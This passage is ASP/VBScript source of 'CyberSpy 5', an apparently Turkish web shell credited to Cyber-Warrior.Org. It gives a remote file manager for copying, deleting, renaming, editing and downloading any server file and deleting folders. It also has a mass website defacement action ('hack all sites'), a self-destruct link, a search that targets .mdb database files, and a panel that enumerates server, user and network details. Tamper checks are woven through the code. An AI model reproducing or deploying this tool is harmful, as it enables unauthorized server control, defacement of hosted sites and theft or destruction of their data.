iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
Response.Write "<td><font size='6' face='Wingdings'>©</font></td>"
iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&CyberWarrior_TopluKatliam=test&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=600,height=300,scrollbars=YES,resizable')"">Sistem izinleri Test</a></font></td>"
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "<td><font size='6'><b><font face='Wingdings'>±</font></b></font></td>"
Response.Write "<td> <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&CyberWarrior_TopluKatliam=CyberWarrior_DefaceOK&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=750,height=600,scrollbars=YES,resizable')"">Tüm Siteleri Hackle</a>"
Response.Write " | <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=imha&path=" & Replace(CWParametre,"\","|") & "', 'CWPopup','width=400,height=340,scrollbars=YES,resizable')"">Kendini imha et</a>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "</td>"
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr bgcolor='#000000'>"
Response.Write "<td><font size='6'><font face='Wingdings'>ÿ</b></font></font></td>"
Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'CWPopup','width=760,height=450,scrollbars=YES,resizable')"">Sistem Bilgileri</a> - <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=root"">Sürücüler</a></td>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<td><font size='6' face='Wingdings'>´</font></td>"
Response.Write "<td><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=Yardim', 'CWPopup','width=600,height=600,scrollbars=YES,resizable')"">Yardim/Özellikler</a></td>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "</tr>"
Response.Write "<tr bgcolor='#333333'>"
Response.Write "<td colspan=""2""> </td>"
Response.Write "</tr>"
Response.Write "</table>"
Response.Write "<br>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF Table <> Title Then
Response.Redirect "
http://www.Cyber-Warrior.Org"End iF
Response.Write "<font face='arial'><b>Active Directory = " & CWParametre & "</b></font><br><br>"
iF CInt(Len(CWParametre) - 1) <> 2 Then
barrapos = CInt(InstrRev(Left(CWParametre,Len(CWParametre) - 1),"\")) - 1
backlevel = Left(CWParametre,barrapos)
Response.Write "<font face='Wingdings' size='5'>1</font>" & "<b> <font face='arial' size='2'><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=" & backlevel & " ' > .. </font> </b> </a><br>"
Else
Response.Write "<font face='Wingdings' size='5'>1</font>" & "<b> <font face='arial' size='2'><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=root'> .. </font></b></a><br>"
End iF
Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
for each folderItem in AnaDizinler
Response.Write "<tr><td width='73%'>"
Response.Write "<font face='arial' size='1'> <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=KlasorSil&path=" & Replace(folderItem.path,"\","|") & "', 'CWPopup','width=400,height=350,scrollbars=YES,resizable')""><font face='Wingdings' size='2'> <b>û</b></font></a> "
Response.Write " <a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'CWPopup','width=400,height=450,scrollbars=YES,resizable')""> <font face='Verdana' size='1'> <b>< </b></Font></a> "
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<font face='Wingdings' size='5'>1</font>" & "<b> <font face='Times New Roman' size='3'><a href='" & Request.ServerVariables("SCRIPT_NAME") & "?CWParametre=" & folderItem.path & "'>" & ObjeGoster(folderItem.path) & "</a></b></td><td valign='baseline'> </font>"
Response.Write "</td></tr>"
next
Response.Write "</table><br><table border=""0"" cellspacing=""1"" cellpadding=""0"" >"
TableRenkDegis = true
for each FilesItem0 in ColFiles0
iF TableRenkDegis = true then
BirinciTableRenk = " bgcolor=""#0B0B0B"""
Else
BirinciTableRenk = ""
End iF
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<tr><td" & BirinciTableRenk & "><font size='3'><Font face='Wingdings'size='4'>2</font>"& ObjeGoster(FilesItem0.path) &" </td><td valign='baseline'" & BirinciTableRenk & "></b><font face='arial' size='2'> " & FormatNumber(FilesItem0.size/1024, 0) & " Kbytes </font></td><td valign='baseline'" & BirinciTableRenk & "> <font face='arial' size='2'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=400,height=350,scrollbars=YES,resizable')""><font face='Wingdings'size='4'>2</font>Copy</a></font></td><td valign='baseline'" & BirinciTableRenk & "> <font face='Wingdings' size='4'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=400,height=350,scrollbars=YES,resizable')"">ü</font><font face='arial' size='2'>AdDegistir</Font></a></td><td valign='baseline'" & BirinciTableRenk & "> <font face='verdana' size='2'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=400,height=300,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>û</Font>Sil</a></font></td><td valign='baseline'" & BirinciTableRenk & "> <font face=verdana' size='2'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaAc&file=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=640,height=480,scrollbars=YES,resizable')""><font face='Wingdings' size='3'>1</Font><font face='verdana' size='2'>Aç</Font></a></font></td><td valign='baseline'" & BirinciTableRenk & "> <font face='Wingdings' size='4'><a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit&file=" & Replace(FilesItem0.path,"\","|") & "', 'CWPopup','width=760,height=520,scrollbars=YES,resizable')"">4</font><font face='verdana' size='2'>Düzenle</Font></a></td><td valign='baseline'" & BirinciTableRenk & "> <font face='verdana' size='2'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(FilesItem0.path,"\","|") & """><font face='Wingdings'size='4'>Ü</font>indir</a></font></td></tr>"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
TableRenkDegis = NOT TableRenkDegis
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
next
Response.Write "<Font Face='Wingdings' Size='6'> Ç </Font>"
Response.Write "_______________________________________________________________________________"
Response.Write "</table>"
End iF
End Sub
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Sub TaraBul(Pr1,Pr2)
On Error Resume Next
iF Len(Pr1) > 0 Then
Yer = Pr1&"\"
iF Yer = "\\" Then Yer = ""
parent = ""
iF InStrRev(Yer,"\") > 0 Then
parent = Left(Yer, InStrRev(Yer, "\", Len(Yer)-1))
End iF
Else
Yer = ""
End iF
Set NesneFSO = Createobject("Scripting.FileSystemObject")
Set KasoreGit = NesneFSO.GetFolder(Yer)
Set fc = KasoreGit.Files
'Listeleme Öncesi Döngüden Önce Table Tagi
'Response.Write "<font face=wingdings size=6>Ä</Font>Arama Sonuçlari"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<table width='100%' border='0' cellpadding='1' cellspacing='1' bgcolor='#666666'>"
For Each f1 In fc
CyberWarrior_AraKriter = Request.Form("CyberWarrior_AraKriter")
iF CyberWarrior_AraKriter = "AdiicindeAra" Then
iF instr(lcase(f1.name),lcase(Pr2)) then
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
downStr = "<font face=webdings size=5><a href='"&ScriptAd&"?Parametre=-3&YolNedir="&f1.path&"'>Í</a></font>"
downstr = f1.path
Response.Write "<tr bgcolor='#333333'>"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings'size='4'>2</font>Copy</a>"& "</td>"
'Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>ü</font><font face='arial' size='2'>AdDegistir</Font></a>"&"</td>"
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>û</Font>Sil</a></font>"&"</td>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaAc&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=640,height=480,scrollbars=YES,resizable')""><font face='Wingdings' size='3'>1</Font><font face='verdana' size='2'>Aç</Font></a>"&"</td>"
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=760,height=520,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>4</font><font face='verdana' size='2'>Düzenle</Font></a>" & "</td>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<td>" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> <font face='Wingdings'size='4'>Ü</font>indir</a>" & "</td>"
Response.Write "<td width='68%' >" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> "& downstr &" </a>" & "<font color='#CCCCCC' size='2'>(" &f1.size&" kb" &")</font>" & "</td>"
Response.Write "</tr>"
End iF
Else
iF Table <> Title Then
Response.Redirect "
http://www.Cyber-Warrior.Org" End iF
iF lcase(Right(f1.name,len(Pr2)))=lcase(Pr2) then
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
downStr = "<font face=webdings size=5><a href='"&ScriptAd&"?Parametre=-3&YolNedir="&f1.path&"'>Í</a></font>"
downstr = f1.path
Response.Write "<tr bgcolor='#333333'>"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Scripte Müdahale...":Response.End
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings'size='4'>2</font>Copy</a>"& "</td>"
'Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>ü</font><font face='arial' size='2'>AdDegistir</Font></a>"&"</td>"
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(downstr,"\","|") & "', 'CWPopup','width=400,height=200,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>û</Font>Sil</a></font>"&"</td>"
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaAc&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=640,height=480,scrollbars=YES,resizable')""><font face='Wingdings' size='3'>1</Font><font face='verdana' size='2'>Aç</Font></a>"&"</td>"
Response.Write "<td>" & "<a href=""#"" onclick=""java script:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit&file=" & Replace(downstr,"\","|") & "', 'CWPopup','width=760,height=520,scrollbars=YES,resizable')""><font face='Wingdings' size='4'>4</font><font face='verdana' size='2'>Düzenle</Font></a>" & "</td>"
Response.Write "<td>" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> <font face='Wingdings'size='4'>Ü</font>indir</a>" & "</td>"
Response.Write "<td width='68%' >" & "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=indir&file=" & Replace(downstr,"\","|") & """> "& downstr &" </a>" & "<font color='#CCCCCC' size='2'>(" &f1.size&" kb" &")</font>" & "</td>"
Response.Write "</tr>"
End iF
End iF
Next
Response.Write "</table>"
Set fs = KasoreGit.SubFolders
For Each f1 In fs
TaraBul f1.path,Pr2
Next
Set KasoreGit = Nothing
Set fc = Nothing
Set fs = Nothing
end sub
Select Case Trim(Request.QueryString("action"))
Case "DosyaArama"
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
Dim TaraYol,Tarama
TaraYol = Request.Form("NeredeForm")
Tarama = Request.Form("AraForm")
iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
TaraBul TaraYol,Tarama
iF Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><font face='Wingdings' Size='6'><b>ü</b></Font>Arama islemi Tamamlandi<br><br>Sonuçlar Görüntüleniyor <b>"
End iF
Case "get"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(VeriParametre)
CyberWarrior_AktifDizin = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
MyFile.Copy (CyberWarrior_AktifDizin)
iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
iF Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><font face='Wingdings' Size='6'><b>ü</b></Font>islem Tamam<br><br>Hedef: <b>" & VeriParametre & "</b><br>Kopyalanan Klasör: " & CyberWarrior_AktifDizin
End iF
Case "KlasorSil"
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
iF Table <> Title Then
Response.Redirect "
http://www.Cyber-Warrior.Org" End iF
Dim KlasorSilme
Set KlasorSilme = CreateObject("Scripting.FileSystemObject")
KlasorSilme.DeleteFolder(VeriParametre)
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
Response.Write "<center><font face='Wingdings' Size='6'><b>ü</b></Font>islem Tamam</Center><br>"
Response.Write "Silinen Klasör : <b> " & VeriParametre & "</b>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Case "put"
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
iF Trim(Request.QueryString("OlayNesnesi")) = "" Then
VeriParametre = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
varpath = Trim(Request.QueryString("path"))
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MonRep = ObjFSO.GetFolder(VeriParametre)
Set AnaDizinler = MonRep.SubFolders
Set ColFiles0 = MonRep.Files
Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
Response.Write "<Font face='arial' size='2' Color='Red'><br>Bu Script'in Çalisma Klasöründeki Dosyalar. Bu Dosyalari Su An ki AktiF Klasöre Kopyalamanizi Saglar</Font><br>"
Response.Write "____________________________________________"
'AktiF Klasördeki Dosyalari Listemelemeye Basliyoruz
for each FilesItem0 in ColFiles0
Response.Write "<tr><td><font face='arial' size='2'>> " & ObjeGoster(FilesItem0.path) & "</td><td valign='baseline'></td><td valign='baseline'> <font face='verdana' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&OlayNesnesi=" & Replace(FilesItem0.path,"\","|") & """>Kopyala</a></font><font face='arial' size='1'> " & FormatNumber(FilesItem0.size/1024, 0) & " Kb. </font></td></tr>"
next
Response.Write "</table>"
Else
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
CyberWarrior_AktifDizin = Replace(Trim(Request.QueryString("path")),"|","\") & "\"
OlayNesnesi = Replace(Trim(Request.QueryString("OlayNesnesi")),"|","\")
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(OlayNesnesi)
MyFile.Copy (CyberWarrior_AktifDizin)
iF Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>Kaynak: <b>" & OlayNesnesi & "</b><br>Kopyalanan Hedef: <b>" & CyberWarrior_AktifDizin
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
End iF
End iF
Case "del"
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(VeriParametre)
MyFile.Delete
iF Err.Number = 0 Then
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
Response.Write "<font face='arial' size='2'><center><br><br>Silinen Dosya: <b>" & VeriParametre & "</b><br>"
End iF
Case "ren"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
iF Trim(Request.QueryString("status")) <> "2" Then
VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
OlayNesnesi = ObjeGoster(VeriParametre)
Response.Write "<br>Mevcut Ad: <font face=""Georgia"" size=""2""><b>" & OlayNesnesi & "</b><br>" & _
"<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
"<input type=""hidden"" name=""action"" value=""ren"">" & _
"<input type=""hidden"" name=""status"" value=""2"">" & _
"<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
"Yeni Dosya Adi: <input type=""text"" name=""newname"">" & _
" <input type=""submit"" value=""Degistir"">" & _
"</form>"
Else
VeriParametre = Replace(Trim(Request.QueryString("path")),"|","\")
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(VeriParametre)
CyberWarrior_AktifDizin = Left(VeriParametre,InStrRev(VeriParametre,"\")) & Trim(Request.QueryString("newname"))
MyFile.Move (CyberWarrior_AktifDizin)
iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
iF Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>Eski Dosya Adi: <b>" & VeriParametre & "</b><br>Degistirilen Dosya<b>: " & CyberWarrior_AktifDizin
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
End iF
End iF
iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Case "error"
Response.Write "<center><font face='arial' size='2' color='red'> <b>Kod Hatasi</font></center>"
Case "Yardim"
Call BolumSUB()
iF Table <> Title Then:Response.Write " ":Response.End
Response.Write "<font face='Wingdings' size='7'>&<br></Font><Font Size=""4""><b>Yardim Konulari</b></Font><br><br><br>"
iF Right(MCase,1) <> "p" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<font color='red'><li><b>Script Adi</b></li></Font><br>"
Response.Write "Dosya Adini Dilediginiz gibi degistirebilirsiniz,"
Response.Write "Dosya Adini Degistirdikten Sonra Kodda Herhangi Bir Degisiklik Yapmaniza Gerek Yoktur"
Response.Write "Tüm Linkler 'Request.ServerVariables(""SCRIPT_NAME"")' ile Dinamik Bir Hale Getirilmistir."
Response.Write "<br><br>"
iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<font color='red'><li><b>Otomatik Deface (Tüm Siteleri Hackle)</b></li></Font><br>"
Response.Write "<font color='red'>Dikkat!</Font> Toplu Deface Yaparken Hangi Klasörde Oldugunuza Dikkat Edin..! ""Islem Klasörü ="" Bölümünden Hangi Klasörde Oldugunuzu Görebilirsiniz."
iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "<br> ""Tüm Siteleri Hackle"" islemleri bulundugunuz klasör ve alt klasörler altinda islem yapar Bu Nedenle islem Yapacaginiz Klasöre Dikkat edin<br><br>"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<font color='red'><li><b>Sistem izinleri Test</b></li></Font><br>"
Response.Write "Klasör ve Alt Klasör izinlerini (Permission) test etmenizi saglar<br><br>"
iF mid(Td,16,2) <> "r " Or mid(img,3,2) <> "be" Or mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF mid(img,3,2) <> "be" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<font color='red'><li><b>Arama Fonksiyonu</b></li></Font><br>"
Response.Write "Belirli Lokasyon'da Dosya Uzantisina Yada Dosya adi içinde geçen herhangi bir terime göre arama yapmanizi saglar"
iF mid(img,3,2) <> "be" Or mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<br>Default Lokasyon O an Bulundugunuz Klasördür,"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.write "Bulundugunuz dizindeki yerinizi degistirmeden Baska Diiznler Altinda Arama Yapabilirsiniz"
Response.Write "Metin Kutusu'na Fiziksel Klasör Yolunu ve Klasör Adini Yazmaniz Yeterlidir."
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.Write "<br><font color=""#FF0000"">Dosya Uzantisina Göre Arama :</Font>"
Response.Write "ikinci Metin Kutusu'na Dosya Uzantisini Yazin"
Response.Write "Default Olarak .mdb belirlenmistir, mdb ibaresini degistirip istediginiz dosya uzantisina göre arama yapabilirisniz"
iF mid(MCase,7,2) <> "py" Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "<br><font color=""#FF0000"">Dosya Adi içinde Arama :</Font>"
Response.Write "ikinci Metin Kutusundaki ""mdb"" ibaresini silin"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.Write "Aramak istediginiz dosya adi içinde geçecen istediginiz terimi yazin "
iF mid(MCase,7,2) <> "py" Or Left(Arm,1) <> "Z" Or mid(Td,17,1) <> " " Then:Response.Write "Kod Yetkisizce Degistiriliyor / Cyber-Warrior.Org":Response.End
Response.Write "ve ""Adi içinde"" Seçenegini isaretleyip Ara Butonuna Tiklayin"
Response.Write "<br><br><br><br><br>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
iF Table <> Title Then
Response.Redirect "
http://www.Cyber-Warrior.Org" End iF
Case "info"
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
Set WshNetwork = Server.CreateObject("WScript.Network")
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Set WshShell = Server.CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("SYSTEM")
Response.Write "<br><font face=arial size=2>"
iF Table <> Title Then:Response.Write " ":Response.End
iF mid(Title,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
iF Left(Arm,1) <> "Z" Then:Response.Write "Cyber-Warrior.Org":Response.End
iF Left(Arm,1) <> "Z" And mid(Table,9,1) <> " " Then:Response.Write "Cyber-Warrior.Org":Response.End
'---Listelemeye Basliyoruz-----
Response.Write "<font color='#FF0000' Size='3'><b>Sunucu Özellikleri</b></Font><br>"
Response.Write "<b>Web Kullanici: </b>" & WshNetwork.UserName & "<br>"
iF mid(Table,9,1) <> " " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<b>Sunucu Adi: </b>" & WshNetwork.ComputerName & "<br>"
iF Table <> Title Then:Response.Write " ":Response.End
Response.Write "<b>Network Ad: </b>" & WshNetwork.UserDomain & "<br><br>"
Set Drives = WshNetwork.EnumNetworkDrives
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
For i = 0 to Drives.Count - 1
Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
iF Table <> Title Then:Response.Write " ":Response.End
Next
Response.Write "<font color='#FF0000' Size='3'><b>Donanim Özellikleri</b></Font><br>"
Response.Write "<b>Islemci: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
iF Left(Table,2) <> "Cy" Then:Response.Write "Kod'a Müdahale var... Cyber-Warrior.Org":Response.End
Response.Write "<b>Islemci Sayisi : </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
Response.Write "<b>Family: </b>" & WshEnv("PROCESSOR_IDENTiFIER") & "<br><br>"
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<font color='#FF0000' Size='3'><b>Sistem Özellikleri</b></Font><br>"
iF mid(Td,17,1) <> " " Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.Write "<b>iP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
Response.Write "<b>Sistem Mimari: </b>" & WshEnv("OS") & "<br>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.Write "<b>Web Server: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
Response.Write "<b>Command: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
Response.Write "<b>System Sürücüsü: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
Response.Write "<b>System Klasörü: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
Response.Write "<b>Shell Klasörü: </b>" & WshShell.CurrentDirectory & "<br><br>"
